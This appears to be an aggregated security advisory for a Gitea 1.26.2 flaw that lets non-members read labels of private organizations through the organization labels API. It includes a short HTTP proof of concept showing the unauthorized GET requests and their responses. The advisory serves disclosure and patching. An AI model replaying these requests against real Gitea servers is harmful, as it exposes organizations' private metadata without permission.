Gitea private organization labels are visible to unauthorized users

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Gitea 1.26.2 allows unauthorized users to access labels of private organizations.

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3 Jul 2026 20:19:32 UTC

Source modified

7 Jul 2026 17:00:09 UTC

Observed here

23 Oct 2026 15:48:27 UTC

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Gitea 1.26.2 allows unauthorized users to access labels of private organizations.

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Jul 3, 2026, 8:19:32 PM (timezone not stated)

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Jul 7, 2026, 5:00:09 PM (timezone not stated)

Observed here

7 Nov 2026 05:33:26 UTC

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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Gitea 1.26.2 allows unauthorized users to access labels of private organizations.

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3 Jul 2026 21:16:57 UTC

Source modified

25 Oct 2026 15:10:00 UTC

Observed here

27 Oct 2026 06:23:40 UTC

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CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

## Summary Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints. A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed. The issue is limited to unauthorized read access. No unauthorized modification of labels was observed. ## Details The following endpoints are affected: * `GET /api/v1/orgs/{org}/labels` * `GET /api/v1/orgs/{org}/labels/{id}` During testing, a private organization was created and a label was added to that organization. Access to the organization itself was correctly restricted. A user without membership in the organization received a `404 Not Found` response when requesting organization information. However, the same user was still able to retrieve organization labels through the endpoints listed above. For comparison, other organization-scoped endpoints such as: * `GET /api/v1/orgs/{org}/teams` * `GET /api/v1/orgs/{org}/hooks` * `GET /api/v1/orgs/{org}/actions/secrets` correctly denied access to unauthorized users. The label endpoints returned the full Label object, including fields such as: * `id` * `name` * `description` * `color` * `url` Write operations were tested separately and remained protected by authorization checks. ## PoC ### Setup Create a private organization: ```http POST /api/v1/orgs Authorization: token <owner_token> { "username": "target-org", "visibility": "private" } ``` Create a label: ```http POST /api/v1/orgs/target-org/labels Authorization: token <owner_token> { "name": "internal-label", "color": "#aabbcc", "description": "private organization label" } ``` Verify that the organization is not accessible to a non-member: ```http GET /api/v1/orgs/target-org Authorization: token <non_member_token> ``` Response: ```http HTTP/1.1 404 Not Found ``` ### Retrieve all labels Request: ```http GET /api/v1/orgs/target-org/labels Authorization: token <non_member_token> ``` Observed response: ```http HTTP/1.1 200 OK ``` The response contains labels belonging to the private organization. ### Retrieve a specific label Request: ```http GET /api/v1/orgs/target-org/labels/1 Authorization: token <non_member_token> ``` Observed response: ```http HTTP/1.1 200 OK ``` The full Label object is returned. ### Verify write protection Request: ```http PATCH /api/v1/orgs/target-org/labels/1 Authorization: token <non_member_token> ``` Response: ```http HTTP/1.1 403 Forbidden ``` ### PoC Details https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak ## Impact Users who are not authorized to access a private organization can obtain label metadata associated with that organization. Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions. The issue affects confidentiality only. No integrity or availability impact was observed.

Source published

21 Jul 2026 21:46:39 UTC

Source modified

27 Jul 2026 17:11:39 UTC

Observed here

24 Oct 2026 13:19:41 UTC

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Publisher rating · HIGH

Gitea: Unauthorized Access to Labels of Private Organizations in code.gitea.io/gitea

Source published

27 Jul 2026 15:32:45 UTC

Source modified

27 Jul 2026 17:00:26 UTC

Observed here

24 Oct 2026 13:19:41 UTC

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OSV · upstream source license applies

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